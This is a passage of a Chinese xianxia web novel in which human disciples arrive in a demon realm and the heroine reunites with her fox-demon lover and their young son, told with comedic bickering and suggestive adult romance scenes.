在江行行拿着一根随手薅来的竹竿,用一条蚯蚓钓鱼的时候,就那么咬着钩屁颠屁颠的上来了。 风回雪本来还怕这玄龟没安好心,可发现它眼里只有江行行,整日跟个哈巴狗似的,对着江行行疯狂摇尾巴,一副不值钱的倒贴样,也就没再管。 刚开始江行行嫌它丑,不乐意跟它玩,玄龟死皮赖脸,走哪跟到哪。 一来二去,一人一龟有了感情。 江行行正处于猫狗都嫌的年纪,再怎么稳重,也难掩小孩子心性。 更何况,他可能遗传了他娘,见到长着尾巴兽耳的妖,那叫一个两眼放光。 他逮鸟,玄龟跟在他屁股后面逮鸟。 他抓鸡,玄龟跟在他屁股后面抓鸡。 一天到晚鸡飞狗跳,风回雪则跟在他俩屁股后面擦屁股。 从此,玄龟开始吃他儿子的,睡他儿子的,江行行还特意在自己的床边,为玄龟摆了一张睡榻,枕头被褥一应齐全。 江献晚将江行行塞到绷着唇角,竭力克制的林玉锦怀里。 后者一接到小娃娃,嘴角刷地咧到天边,幸福地快要晕过去。 江献晚感动地拍拍狼太灰的肩,“太灰,多谢提醒,我只是觉得行行太可爱了。” 狼太灰鼻孔朝天轻嗤一声,“可爱,你要知道他天天干了什么就不说他可爱了!” 江行行眨巴眼看他,再眨巴眼看江献晚,生怕娘亲觉得他不乖,委屈地一瘪嘴,“明明是狼脾气不好。” 动不动就对着他偷偷呲牙,还用手指头扒着脸朝他做鬼脸。 林玉锦心疼坏了,恨不得将大尾巴狼的背瞪出十八个窟窿。 狼太灰听到江行行的点评,气的狼耳一抖,尾巴尖炸成一簇巨大的蒲公英。 他指着自己的鼻尖,气乐了,“我脾气不好?” “我在大树下睡觉,是你先揪了我的毛!” 还是肚皮上的毛! 就为了给一只毛都没长出来的鸟垫窝! 他肚子上的毛都秃了一块! 这算什么? 算他有毛? 他有毛是错了? 还是睡在大树底下错了? 白羽眉一蹙,“狼太灰你够了,适可而止。” 再怎么说行行是殿下之子,他当着这么多人族和妖的面说行行,委实不敬。 狼太灰满不在乎的切了一声,“一个人族两脚兽,还真把他当成妖域的主子了!” “狼太灰!”白羽面色一沉,气的翅膀抖了抖,厉声道:“慎言!” “嗤!”狼太灰高高抬起下颌,神色傲慢,嗤之以鼻,“我就说!” 林玉锦差点没忍住,从背后狠狠踹给他两脚。 两方拌了几句嘴,勉强还算和气,准备进妖域时却发生了分歧。 狼太灰高傲地睨向白羽,“他们是我天狼族请来的,自然要住在我天狼族地盘。” 白羽呵呵冷笑,“大司命有令,南境弟子今日暂时落榻于泗水上院。” “泗水?!还暂时?”狼太灰以为自己听错了,“你的意思是大司命让他们和三百年前那些三境弟子一样?” 他不信。 虽然以防万一,风回雪会和他们对着干,不让江献晚住到他们天狼族地盘,他爹命妖将泗水上院重新修缮过了。 但交换生这种小事,大司命怎么会插手? “大司命?是大司命安排还是你白羽安排?!” “是不是因为他们跟我关系好你才故意针对!” 白羽向来跟风回雪穿一条裤子,分明就是想欺负他的人,打他,打天狼族的脸! 白羽其实也很想不通,殿下竟然舍得答应。 妖域简单粗暴的分为三族,天上飞的,地上跑的,水里游的。 他们妖有属于自己风格的巢穴,也就妖都建有三千宫殿。 若按以前的规矩,作为交换生过来的弟子,每日需要接取任务,缴纳足够的妖晶,才能获得在泗水上院居住的资格。 否则,只有被撵出去的份,地为床,天为被,自己想办法找地方休息。 妖域夜间活动的妖不在少数,天生好战,又因内乱不断,并没有想象中那般风平浪静。 厮杀斗殴是常有的事情。 从前妖域为了针对交换弟子,不许来的弟子组成自己的小队伍,而是将他们每一个人打散,与妖组队。 哪怕是界域和魔域弟子来,也是一样。 自然,这也是从前三境三域,心照不宣,针对彼此的损招。 “既然延续玄古大赛,规矩自然要照旧,南境弟子莫不是去你天狼一族享福的?” “大司命有令,任何妖不得为南境弟子开后门!” 白羽居高临下觑他一眼,这个轻蔑的动作,惹的狼太灰瞬间跳脚。 两妖几句交锋,南境弟子听出了个大概。 不过,他们显然丝毫没为睡不到床而担心,各个表情亢奋不已。 江献晚更未觉得有什么不妥。 趁着狼太灰跟白羽吵架的功夫,南境弟子围在一起嘀嘀咕咕。 修言激动地泪水从嘴角流出来,不停地搓手,“我这次来就想多猎些水族的妖兽。” 他的话立刻得到天青宗其他弟子的一致赞同,“我喜欢吃海鲜!” “我也!红烧鱼绝绝子!” 妖域活脱脱天然的大型野生动物园,水里游的,天上飞的,地上跑的,种类那叫一个齐全。 何未语看了一眼正认真吵架的白羽的大翅膀,“我喜欢羽族。” 羽族肯定有许多长着漂亮翅膀的妖,想想都幸福的要死。 最重要的是烤翅啊,野味啊,定然不少吧。 江献晚和林玉锦算是看出来了。 这群小伙伴想的根本不是如何获取妖晶,有没有床睡,脑子里都是些孜然调料。 想想在缺德路上狂奔一去不复返的小伙伴,莫名替妖域开始担忧怎么回事? 林玉锦的目光,不由自主落在拖着大尾巴的少年身上。 肌肉精硕,身形修长,细皮嫩肉,一看就是养尊处优,没怎么经历过社会的毒打。 第 182 章 此路不通 坐在他手臂上的江行行听到了,趴在他耳边,小声地道:“狼会吃人的。” 林玉锦轻轻捏了捏他的小脸,眼里的心疼快要溢出来,压着声道:“狼吃人,小师伯就把狼吃掉好不好?” 江行行崇拜地看他,“好,行行可以吃一条烤狼腿吗?” 正吵的热火朝天的狼太灰,只觉一股凉意窜上小腿。 蓦然回首,林玉锦正用一种痴迷而狂热地目光看他,就连风行行也啃着手指对着他流口水。 他暗暗得意,飘飘欲然,大尾巴情不自禁的摇晃。 看吧,他就是一头招人喜欢的狼。 最起码比旁边那个长着鸡翅膀的白羽好看,也就风回雪那死狐狸瞎了两只眼。 狼太灰哥俩好的揽上江献晚和林玉锦,“走,带你们参观一下妖域。” 白羽:“……”妖域是你家的吗?用得着你带。 妖域边界距离妖都还远,便已然能窥得其仙境一般的景色。 山峦叠翠,瀑布飞泻,繁茂树木花草,空中漂浮着大片大片卷羊毛似的白云,还有不少羽族从空中飞过。 除了隐在青翠中隐约可见的妖都,其他一眼望去,竟完全是自然生态。 江献晚回想起与风回雪的第一次见面,心中百感交集。 她,终于,先登堂入室了。 有了狼太灰这个合格热情,嘴巴不停地导游,江献晚他们生生在妖域各个著名景点打了一日的卡。 白羽的翅膀无情打彩的耷拉着,终于不耐烦的拦下他东窜西跑的行为,强硬的将南境弟子带到泗水上院。 泗水上院是由一排简单舒适的小院落组成,一看便知是翻新不久的。 江行行凑到林玉锦耳边,小声道:“爹想法子让狼修的,里面的褥子可软了。” 他爹故意在狼太灰面前提了一嘴,天狼王得知后,二话不说,着急忙慌的将此事抢过去,主动掏自个腰包,连夜重新修的。 林玉锦抿着笑,捏捏他的小手。 因狼太灰一直跟着,白羽只能抱过林玉锦怀里的小娃娃,放在玄龟背上。 他看了一眼江献晚,轻咳一声,装模作样的友情提醒。 “想要获得妖晶,继续享受居住权,明日就去妖塔接取任务,若是猎杀妖兽,谨记量力而行,这些任务其实都有点……困难。” “遇到生命危险,便吹响骨哨,我会派妖及时赶去。” 江献晚妖域一行之事,引起妖帝和大司命的高度重视,要不是殿下拦着,今天去接江献晚他们的就是这俩了。 其他妖不知江献晚的身份,肯定下意识针对这些人族,不仅不会配合,恐怕还要想各种办法来坑他们一波。 其实,他真的还想再提醒一句:殿下已经黑着脸,就等着跟你算账了,保重。 狼太灰抬起下巴,嗤笑,“这会儿装什么好鸟,我的朋友,用得着你管?” 白羽:“……”二逼吧他? 白羽跑了一天,没心情跟他吵,暗戳戳投给他一个看弱智患者的怜悯眼神,推着玄龟离开。 狼太灰临走前拍拍江献晚的肩膀,“你要弄不到足够的妖晶,我可以给你刨个洞。” 他得意地甩着尾巴。 “虽然有些事我不能插手,只能让我爹修一下院子,不过,我刨的洞穴在天狼一族里,可是最漂亮的!” 江献晚:“……”谢谢,她不想睡洞。 林玉锦扒开喋喋不休的狼太灰,扯了江献晚进院子。 刚合上门,手中一空,“唉,我小师……嗯?” 只见他可爱的小师妹,已经麻溜地松开了他的手……朝花树下风流妖艳的绝美男子……走了过去。 林玉锦:“……” 江献晚一看树下人便忍不住弯起了唇。 那人静静伫立在开至荼蘼的花树下,生得一幅颠倒众生的好颜色,连光都偏爱他。 眉形风流,唇色靡丽,标志性狭长上挑的桃花眼,每一处线条都仿佛有精魅勾勒,妖异秾丽,魅惑含情,平添若有似无的挑逗。 几片落花沾在他霜白的衣襟上,宛如胭脂碎雪,又似点点惹人怜的泪痕,衬得他身影茕茕孑立,还有……易碎的脆弱。 别说,狐狸装模作样背对着她,认真瞅头顶花的模样,还真有那味儿了。 江献晚憋着笑,背手,从他身后探出脑袋,认真道:“能向你问个路吗?” 风回雪:“……” 林玉锦:“……” 那人不说话,也不动,唇线平直,仍微仰头,眼珠子直直黏在花树上。 若是忽略轻动的耳尖,看起来真就煞有其事了。 他薄唇微抿,片刻,冷冷道:“什么路?” 林玉锦:“……” 江献晚歪着脑瓜,下巴搭在他臂膀上,眨眼,“去你心里的路啊。” 风回雪:“……” 林玉锦:“……?!” 风回雪无动于衷,拨开她的脑袋瓜,薄唇带着几分冷峭,继续冷漠道:“此路不通。” 江献晚叹了口气。 狐狸生起气,还是有一点点小难哄的。 只能拿出杀手锏。 伸出小臂,从身后环上他的腰,手指顺着他的腰腹,直摸到心口,若有似无挑逗,“真的不通?” “要不,美人通融通融?” 林玉锦:“……!” 望着自家小师妹对着狐狸又是撒娇,又是搂抱,林玉锦整个人开始哆嗦起来。 双手掐上自己的脖儿,憋的面颊涨红,还掺着铁青。 风回雪强忍着胸膛上那只到处游移,煽风点火的手,强忍着将她立刻摁在怀中,拆之入腹的念头,咬咬牙,依旧嘴硬,“不、通。” “啊?”江献晚发出诧异低声,有些失望,“那行吧。” 她在狐狸忍不住低头时,慢慢松开小臂,“既然不通,那我去找一找其他……唔!” 话音未落,还想再装一装的狐狸一秒破功,在看到那双圈着他腰腹的小臂缓缓松开,想要抽离,煞然回身。 江献晚被推抵在树干上,双手被两只手掌擒在头顶,侧颈一疼,瞬间飙出了泪花。 “死狐狸……你……” 痛感未褪,颈间传来湿热酥麻的痒意。 被狐狸舔了一下的江献晚微微一愣,膝盖反射性就要顶他,被狐狸一条长腿嵌去。 一条似蓬蓬芦花的白尾巴悄然圈紧了她的腰肢,唇堵的密密实实。 第 183 章 您换榻和纱帐了 他抖着胳膊伸出一只同样很抖的手,凄厉的声音有些劈叉,“干什么呢!干什么呢!快把嘴给我撒开!天还没黑呢!” 尽管知道是风回雪一直陪在小师妹身边,同她度过最难熬的日子,还将行行视为己出。 但亲眼看到小师妹被恶狗一般叼着狂啃的一幕,林玉锦原地一个破碎,两只眼圈都红了。 风回雪哪肯撒开。 他忍的早就疯了,江献晚对他来说,就像是一捧兜头浇下的热油,轻轻一碰,触之即焚,只余下色令昏智。 禁锢在方寸之地,急躁的直往怀里按。 一条两手环抱的白尾巴,春藤攀缠般将那截腰肢捆了两圈,乃至尾巴尖都跟着丧失理智,无头苍蝇似的,胡乱摸索。 江献晚的神色近乎麻木,好似灵魂被掏空,招架不住,以至于有种痛苦的错觉。 她既说不出一个字,还喘不上一口气,眼角摇摇欲坠的泪珠啪嗒滚落。 脑中仅剩一个念头:这种吻法,未免……色的有些下流。 风回雪下意识拿舌尖裹了那滴泪珠,又酸又妒,凶狠的重新叼了江献晚的唇,模糊而沙哑的声线,凶巴巴的,“不通也不许换!” “唔!” “说……不许换!” “……没换……风……” 余下的声音,再次被狐狸吞吃了个干净。 他一双狐狸眸此刻满是思念,还有渐渐洇出来的情欲,雪白的狐耳,抖动着从乌发间探了出来。 直亲到怀里人痛苦的蹬腿踹他,生理性的泪珠一颗一颗簌簌的滚,将软了腿的江献晚密密实实扣在怀中,下颌温存的搁在她颈窝。 含情眸轻轻对趴在地上,绝望的快要晕过去的林玉锦,一眨。 声线还带着些许低哑和略重的喘息。 “见过小师兄。” 小、师、兄。 看着风回雪那双沾着水色,略微红肿的唇,还有软在他怀中,站都站不住的小师妹,林玉锦两眼一翻,猝! 江献晚睫毛都是湿的,摸上风回雪劲瘦的腰,一拧,“死狐狸,你吓到小师兄了,放开。” 风回雪又是痛又是难以言喻的欢愉,模模糊糊溢出一声闷哼,低头急不可耐又啄了啄她的唇。 委委屈屈:“不放。你这一掐,把我掐出了严重的内伤。” “没有万儿八千的亲亲,好不了的。” 江献晚正想扯他那双不知何时蹦出来的狐耳,却听耳边传来风回雪咯吱磨牙地声音。 “还有,江献晚,咱们要不要再说说七个男人的事?” 江献晚:“……那就算了。” 风回雪哼唧一声,又掐了她的脖儿,低头凑上去,焦炙急促的吐息,含糊不清,“想算了,可以啊。” 望着自家小师妹再次被抱着一通狂啃,林玉锦痛苦的摇着头,拖着两条直立不起来的腿,抖着胳膊,抠着地,爬出院子。 嘴里呜咽:“杀了我吧……杀了我吧……” “我活不成了……我要死了……” 呜呜呜! 大师兄! 二师兄! 江行行来的时候,他爹正被他娘追的满院子跑,忧愁的拿小手拍了拍玄龟,而后托着小脸一边看,一边叹气。 “大黑,他俩很喜欢吵架的,你习惯就好了。” 大黑:“……”可以看的出来,他爹被打的很享受。 风回雪笑的露出两颗尖利白牙,一手拦腰抄起揪上他狐耳的江献晚,一手抄起玄龟背上的江行行。 “别打了,我错了还不行吗?” “儿子在呢,你好歹给我留点面子。” 江献晚揪着他两只狐耳一扯,没好气地道:“面子?你还有什么面子?” 非得把人给硬生生亲死。 他是狗吗? 体验了几次窒息感的江献晚,唇瓣都被啃肿了,差点以为今天就是她的死期。 风回雪委屈不已,“人家也是大姑娘上轿头两回,下嘴没轻重能怪我吗,咱俩多亲几次就好了嘛。” 江献晚:“……”他还想亲? 江行行:“……”默默拿小手捂上耳朵。 玄龟对着风回雪翻了个白眼,捯饬着短腿飞快跟上。 风回雪放下娘俩,抬手掀开床板,再掀开暖玉砖,洋洋得意将江献晚塞进地道。 “我挖了一夜,直通咱们的寝殿,厉害吧。” 想到什么,恶狠狠的威胁道:“不许住那头大尾巴狼的破洞烂洞!” “他挖洞的本领可比我差远了,什么狗屁天狼族第一,我可是妖域第一!” 江献晚:“……”这也要比? 不过,当她进入到江行行睡的侧殿,像是骤然踏入一片奢华之海。 云顶檀木作梁,刻有灵动而栩栩如生的九尾狐,还有五花八门,各种江行行喜欢的妖。 一幅青衣女子的挂像,悬挂在正中央,侧脸模糊,却不难看出眉眼含笑。 颗颗莹润细腻,比她拳头都大的鲛珠,被当成玻璃珠玩,地上滚的尽是。 几缕清淡的沉水香雾,自精雕细琢的瑞兽口中徐徐吐纳,仿佛宣告此处主人的身份尊贵。 足下所踏,灵气逼人,只觉深陷一片难以言喻的舒适海洋,令人有倒地,张开双臂遨游的冲动。 总之,一尘一光,随意看去,连着那明显是玄龟的小榻,皆无声吐纳着至高权势的呼吸。 隔壁风回雪的寝殿看似简约,但……可就太暧昧了,暧昧的让江献晚揉了好几下眼睛。 她目光自然而然定格在那张一看就很好睡,宽阔无比的床榻。 正感叹好大一张床时,后知后觉,眼皮重重一跳。 那一层层的影纱,薄如蝉翼,轻若云烟,仿佛被一缕月华浸透的雾气,如流水般倾泄而下,形成几重朦胧的屏障。 不难看出,若人影在其中晃动,被影纱月光再这么含蓄的一过滤…… 这不是重点。 重点是狐狸看着那影纱外近垂的一帘珠幕,红着耳尖,心虚地别开了视线。 江行行却是眼睛一亮,忽闪忽闪的,小脸一仰,“爹,您换榻和纱帐了?” 他爹以前的床虽然也好看,但没这个好看,还没这个大。 这个一看就软软的,可舒服了。 风回雪:“……” 第 184 章 听爹给你狡辩 又哇地一声低呼,拉着江献晚来到镂空雕花的花几前。 他蹲下身子,托着小脸,好奇地左瞧右看,“爹,这就是您从大司命那里偷来的花吗?大司命说这些花晚上会飘出很多会发光的花絮,可好看了。” 他爹被大司命光着脚撵了十几圈,还挨了两板子。 大司命还指着他一溜烟跑没影的爹,第一次叉着腰泼皮似的骂街,跟他说:“你爹,不要个*脸。” 风回雪:“……” 风回雪默默伸手,心虚地捂了他儿子的嘴,朝江献晚哈哈干笑两声,“那个,赶这么久的路,肯定很累,你先去洗澡,里面有干净的衣裳,我带儿子去洗洗。” 江献晚:“……” 瞅了一眼偷偷拿眼神激烈交流的两父子,转身,推开一道隔门。 模糊的声音立时从门后传来。 江行行似乎很纠结,“爹,为什么不让娘去儿子房间?行行那里也有汤殿啊,还撒了许多花瓣,儿子今日摘了好久,要给娘用的。” 江行行很了解他爹想爬床的心思,但他同样很想跟他娘一起睡。 认认真真布置了很多天的房间,将床收拾的软软的,还香香的。 见他爹不言不语,一味的拿幽怨的小眼神来盯他,勉强退而求次,“那,我能跟你们一起睡吗?” 风回雪鬼鬼祟祟,压低的声音,格外的语重心长,“儿子啊,听爹一句,你大了,以后都不能跟你娘睡。” 被他爹完全剥夺跟娘睡,好不容易把娘盼来的江行行,眨着巴眼,有点委屈。 揣着小手,背过小小的身子,“那是我娘,您怎么不自己睡?” “您明明比行行还大。” “一起睡,咱们父子不是都可以和娘挨着,您非要撵行行。” 风回雪:“……?”他儿子可能不明白,这个睡,是怎么个睡。 “儿子,你听爹给你狡辩……” “要不这样,今天爹让你一回,咱仨睡,明天、后天、大后天、所有的后天,都让给爹怎么样?” “爹,孩儿觉得大司命说的很对。” “……什么?” “恕孩儿直言,您……”江行行说不出脏话,委委屈屈扣着小手,而又认真的努力形容到位,“您的脸是有点厚。” 风回雪:“……” 江献晚:“……” —— 夜幕悄无声息四合,像是浓淡不一的墨块,笨拙的堆叠着,江献晚缓步从汤殿行出。 早已洗的香喷喷,正盘腿坐在榻上滚珠子的两父子,商量好似的,刷地扭过头。 一个眼底饱含热切希冀,一个瞬间情欲交织中,更多的是明眼的心虚。 不用猜就知道,这俩父子经过激烈的谈判,谈拢了,且都相当满意。 江献晚神色自若,绕过懒懒趴在地上的玄龟,悠然拨开珠幕与影纱,坐到了榻上。 这一坐,风回雪呼吸骤然急促起来,江行行惊喜的捂上小嘴巴。 娘真的要和爹爹同睡了? 他也能和爹爹娘亲一起睡了? 江行行有些不可置信,琉璃似的眸子睁的大大的。 直到被他那呲牙咧嘴的爹,心花怒放的捞过来,放倒在榻上,江献晚随之躺下。 他眨巴着眼,头一回躺在他爹娘中间,头挨着头。 一只小手紧紧抓上江献晚的手,一只小手抓住风回雪的手,抱在胸前,眼睛里渐渐蓄满泪珠。 “娘亲,爹爹。” “还有,行行。” 风回雪的心一下就化了,还有一种无法言喻的亏欠。 他此刻虽满脑子想的都是怎么吃掉江献晚,可这一天,他等的太久太久。 久到他眼眶发热,轻轻去捏江行行的脸,低低应声,“嗯,娘亲,爹爹,还有行行。” 江献晚眼角微微湿润,笑着亲了亲他的面颊,“爹和娘的小行行啊。” 她是个很不合格的娘亲。 第一次当娘,尽管做好了充足的准备,难免手忙脚乱。 风回雪也是慌手慌脚,看似不靠谱,可对比她,反而更用心细腻。 两人新手上路,都是第一次养孩子,刚开始磕磕绊绊,日子却过的很开心。 江行行从生下来就很乖。 乖的让她心疼。 她也没受过什么罪,反而从江行行懂事,就在努力反过来照顾她。 他爹那一套养崽子的办法,江行行乐在其中,她如何不知,她儿子满心想快快养自己的娘亲和爹爹。 她和帝隐的开端是不对,却也从未后悔过生下江行行。 她是孤儿,没有见过自己的父母,亦没有亲人,在另一个世界,孑孑一身。 这种血脉至亲的感觉,让她心头发热,觉得江行行就是上天送给她最好的礼物。 说她什么,她也认了。 江献晚忍不住去看努力逗江行行笑的狐狸,双眸愈发恍惚。 她刚怀江行行时,只吐了几日子,狐狸却足足吐了三个月,自个难受,又生怕她哪里会再不舒服,将两间房打通,做了隔门,夜里也要问上几回,酸杏酸枣,处处备着,伸手就摸的到。 后来,她肚子越来越大,狐狸就有点慌了。 薅了几位大夫,向人家讨教各种注意事项,写的满满的一张又一张。 尽管她没有像别的妇人般四肢有过浮肿,狐狸梗着脖子反驳她,非要给她按摩缓解,直到她睡去,每一点都无微不至。 还整日偷偷抱着一个枕头,装模作样的用小被子一裹,美其名:提前练习。 后来,江行行终于出生,她开始有些不知所措,风回雪立刻否定什么母乳喂养,拿出提前悄悄准备好的各种灵奶。 第一个看到,抱江行行的,就是风回雪。 江行行的出生很平淡,可也是在他们的满心期待下呱呱坠地。 他自打出生,十天有八天都是和风回雪睡的。 风回雪担心她休息不好,包揽了照顾江行行的任务,还不放心,一边要照顾她的身体。 修士体魄强健,可在风回雪的强烈反对下,生生学凡间女子坐了三个月的月子,洗衣服这些小事都不许她碰。 她真的,很不合格。 风回雪,为他们母子做了很多。 第 185 章 求你了 或许是发现娘亲的眼圈有些泛红,撅着小屁股,紧张的一骨碌爬起来,捧着她的脸,亲的一个比一个响,“娘亲是天底下最好的娘亲!” 风回雪见她噗嗤一笑,心底松了一口气,轻轻一拍江行行的小屁股,“小混蛋,爹就不好了?” “爹也好!” “孩儿最喜欢娘亲和爹爹!” 风回雪圆满了,真的圆满了。 一声声的爹爹,一声声的孩儿,每一次皆戳在他心窝上。 不过。 这种圆满,等他心满意足看了好一会儿,玩闹许久,窝在江献晚怀中睡去的儿子,逐渐变成了一种……悔不当初的忧伤。 他就不该让给儿子。 一天都不让! 风回雪眼底的柔软不知不觉翻涌一层欲色,微微屏住呼吸,喉结上下滚动了两下。 零星浮动的花絮悄然飘散在房间每个角落,忽左忽右,上浮下沉,踌躇般游移、流淌于如水珠幕,轻柔的挤进两簇。 那半透明的影纱便跟着轻微的一晃,光影悠悠跌宕。 明暗相生,如坠梦寐之中,在低眸细细凝视江行行的女子身上簌簌含蓄的流动起来,远远近近。 映的那一线玉白而修长的颈,一路到花枝般的指尖,都仿佛被水洗得莹白通透,几乎能渗出蜜水来,内媚而不自知。 风回雪突然很热,还很渴。 喉结剧烈攒动着,急需一捧甘泉,喂在他唇边,头顶也开始痒了起来。 还有一种……立刻撕毁跟他儿子的约定,将他儿子转移出去! 可以看的出,乱了心神的狐狸……想啃人的欲望,最终还是战胜了父爱。 目光寸寸剥绞那掩在软被下,流溢出艳色的腰身。 十指紧了松,松了紧,往复十几回,一条两指可圈的尾巴,按捺不住,从锦被下缓缓撩拨而去。 一点尾巴尖宛如柔软的芦花轻扫在江献晚的小腿上,她下意识抬眸,便瞧见狐狸眼神飘忽,心虚往别处看。 江献晚重新低下睫毛,似是全然不知。 风回雪余光一直注意着她,喉结又是一滑动。 什么南北帝尊,什么魔皇,什么凤仪剑尊,统统都是无名无分的野男人。 只有他。 只有他躺在了江献晚的身边! 然而,风回雪只得瑟了一秒。 “你还不走?” 风回雪:“……” 沉默两秒,理直气壮,“我不走。” “今晚就这么睡。” “你也不能走。” “噢。”江献晚模糊应了声。 风回雪看她痛快答应,幸福的有些不真实,因情欲而煎熬的狐狸眸慢慢一滚,“你不赶我?” “赶过了啊,你不是不走。”江献晚眼尾轻轻一挑,“你想让我赶你?” 风回雪立刻拿尾巴尖勾了她的小腿,缠三圈,“不想!” 儿子和江献晚在侧,他做梦都不敢想的,想走才怪。 “哦,对了,白羽都跟你说了吧,你们明日要去妖塔接任务。” 江献晚捏了捏江行行的小手,心不在焉,“嗯,说了。” 看狐狸眸子都憋的猩红的模样,待会儿,肯定要发疯吧。 那……今天,舍命哄哄? 风回雪兴许也察觉到了什么,可能是紧张,不可置信,这会儿反倒是很能忍。 他额角渗汗,浑不自知,一边偷偷拿尾巴,掩耳盗铃似的缠她的小腿,一边悄悄把儿子往这边挤,就是话有点颠三倒四,好像自己都不知道自己在说什么。 “那些老古董知道你们来,已经做了充分准备,对,很充分。” “你和狼太灰关系好,妖帝一势更会因此针对你。” “哦,天狼王手底下的也不会放过你。” 话到这里,风回雪声一止,狐狸眸幽幽侧来,活像在看负心汉。 人与妖,骨子里生来就刻着一分对对方的不友善。 两方会面,妖域那些老古董一定会给江献晚来个下马威。 风回雪倒不担心江献晚,模糊道:“你放开了玩,不用给他们留什么里子面子。” 他是江献晚的人,妖域自然也是,合该让他们知道知道自家女主人的雄风。 风回雪偷偷摸摸又将江行行往江献晚这边挤了一些,恨不得把自己也挤过来。 江献晚瞥了他一眼,仅一眼,掌心便忍不住冒汗。 狐狸的两只狐耳又冒了出来,微微发着抖,悄然透出花瓣般的粉色。 他神情迷茫,面颊泛着情动的潮红,魅惑的狐狸眸熏染一层春山深处的雾气,凌乱的惊人,甚至于有些猩红。 江献晚慢吞吞垂下了眼帘,下一秒……只觉被褥往下一陷,怀中儿子不见,狐狸翻身越过江行行,随之俯身。 江献晚:“……” “晚晚……” 风回雪忍不住了。 这下是真的是忍不了一点。 江献晚在身侧,若是能忍,还不如剔头当了佛子去。 他低着头,像承受着极大的苦楚,湿发黏在脸侧,声线暗哑,飘忽不知归处,撑在两侧的手臂都在颤抖,使得线条愈发清晰。 江献晚是有心理准备的。 知道初尝情爱的狐狸,定力有多差。 单看被他啃的两回,就知道。 可当看到狐狸一副大张挞伐的模样,还是忍不住……一哆嗦。 之前两次因江行行和小师兄在,狐狸克制的都要碎了,她如何不知。 即便仅仅如此,而又生涩,也能看出来有多凶。 待会儿,只怕将她吃的骨头渣不剩。 她今晚……还能活吗? 江献晚看了一眼被挪了窝,依旧睡的香甜的江行行,再头皮发麻瞅了一眼那双欲海滔天的狐狸眸。 带着无法疏解的可怜,还有大肆征伐的攻击力。 一滴汗珠顺着那线条优美的下颌,砸在她下巴上,滚烫的将人灼烧一般。 江献晚轻轻叹了一口气,突然摸了摸他的狐耳。 她以前没摸过风回雪的狐耳,也几乎没怎么见过风回雪将狐耳放出。 黑市被狐狸叼着啃,也是头一回。 却不想,只一下,将狐狸最后一点克制……剪断了。 “唔……” 属于妖的最敏感处被轻轻揉捏了两下,风回雪喉间骤然溢出一声仓促的低喘,修长的指颤抖着,终于泼出一切似的扣上了那截触手可及的腰肢。 江献晚吓的一哆嗦,反射性缩回手。 风回雪却遭不住,从头麻到尾巴尖。 他眼中洇的尽是迷乱的光泽,充斥着雾蒙蒙的水汽,魅惑极甚。 压下头颅,嗓音暗哑,几乎模糊。 “晚晚。” “再摸摸……” “狐耳……” “狐耳……” “求你了……” 江献晚被他眼底交织的欲色惊到了,直把手往被子里缩,“不摸。” “不行!” 风回雪瞪着一双水色淋淋的眸子,凶巴巴的捞出她的手指,粗暴的直往狐耳上摁。 第 186 章 我们……小声点 风回雪简直是自讨苦吃,濒死般,难耐的直蹙眉,却依旧不舍得那只手离开他的狐耳。 “晚晚……” “好疼……” “我好疼……” 江献晚当然知道他哪里疼,腰身一颤,双手推抵上他的胸膛,努力偏开唇,“不行。” 这会儿就算江行行不在,她也有点畏缩了。 仅凭感觉,已然清晰的确定……有些地方……罕见的壮观。 壮观的让她有种会死在床上的错觉。 风回雪忍得额角青筋迸起,寝衣被涔涔热汗浸透,直接堵了她的唇。 “我们……小声点。” 江献晚:“……!”这混蛋! 别说,狐狸学什么都快,从生涩的像狗啃,到高歌猛进,从毫无技巧,到游刃有余。 江献晚寝衣散乱,露出雪膏似的肩颈和一双纤直嫩白的小腿,十指被他交扣,叠在被褥,提心吊胆的注意着江行行,几次试图的反驳都被他啃回肚中。 不得不说,她显然不是天赋异禀的狐狸的对手,一个回合,败下阵来,被锁了腰,凭君享用。 尤其方才不服气的回应,风回雪最后一点强撑的克制随之土崩瓦解。 他一只成年的狐狸哪里有过这般阵仗,每次的发情期也是忍忍就过了。 湿薄滚烫的掌心握着她的小腿,又不得要领。 江献晚试图坐起来,勉强发出呜声,“唔……不行……儿子……” 她此刻……真的有种拔腿就跑和后悔不迭的冲动。 风回雪勉强拉回一点仅存不多的理智,将鬓角的薄汗蹭在她颈窝,忽然没头没尾说了一句,“时间不够。” 是的。 时间不够。 这么折腾下来,夜已经过去一半。 江献晚赶了十日的路,乏累疲惫,他也不舍。 明天。 他要让晚晚知道他强的可怕。 江献晚已经深刻的意识到他强的很可怕,单凭风回雪能亲死她的狠劲,不难看出……今晚一旦刹不住车,只怕是要将她弄死。 那一双狐狸眸看她时,更是要将她拆之入腹嚼碎嚼烂一般。 好在风回雪定力该强的时候,还是很厉害的。 竭力平复呼吸,缓慢的拂去她颈窝一缕乌发。 扯了扯唇角,有些哽咽,“晚晚,你知道吗。” “我很开心。” “真的很开心。” “不。” “你根本不知道。” “我开心的想疯掉。” 他捉了江献晚的手,放在心口,狐狸眸渐渐洇红。 江献晚哪里不知道。 狐狸的心都快跳出胸膛了,那处也热情蓬勃着。 不由得心软了些,亲了亲他汗湿的睫毛,“知道了。” 风回雪模糊哼唧一声,带着她白皙的指尖,一路向下,骄傲而热情的分享。 “死女人,你不知道。” “还有这里。” 顿了顿,理智一秒又全然溃散,薄唇重新叼上她的颈子,吐息都是乱的,溃不成军,嗓音也似带上不堪摧折的哭腔,“晚晚……求你了……” “帮帮我……” “一次……” “就一次……” 江献晚:“……”他自个信吗? 天蒙蒙亮,江献晚勉强聚焦视线。 轻轻发着抖,伏在狐狸肘间,乌发如一层朦胧半透的薄衣,莹白如羊脂的肌肤,潮红遍晕,后颈犹带红印。 任由眼尾残留一抹餍足的狐狸,尽数吞去她睫毛的泪珠,将她抱出汤殿穿衣。 果然是狐狸。 勾人的功夫,无师自通,一套接一套。 最可耻的是……她上钩了? 心甘情愿献上一双手……一双腿。 更气恼的是,狐狸真能忍。 还自以为她赶了这么久的路,会累……愣是忍着没吃完。 那种吃透了,又没吃透的极致体验,险些将她磋磨疯。 想到在汤殿闹了半夜,还被狐狸半哄半诱回帮了好几次的江献晚,耳根子还是热的,腿也是软的。 仿佛……身体被掏空。 又有种深深的无力,和对狐狸说的今晚的恐惧。 见狐狸又要来亲她,咬咬牙,反手摸了两把狐耳,满意的看着狐狸涣散着一双眸,跌回被褥。 她依依不舍的捏捏江行行的小手,在天亮之前回到院落。 看到了……怨念颇深,酸味冲天的小师兄。 江献晚心虚地垂下睫毛,根本不敢看,火烧腚似的唤了何未语他们前往妖塔接取任务。 在妖域无人问津,正式被放养的生活也随之正式开启。 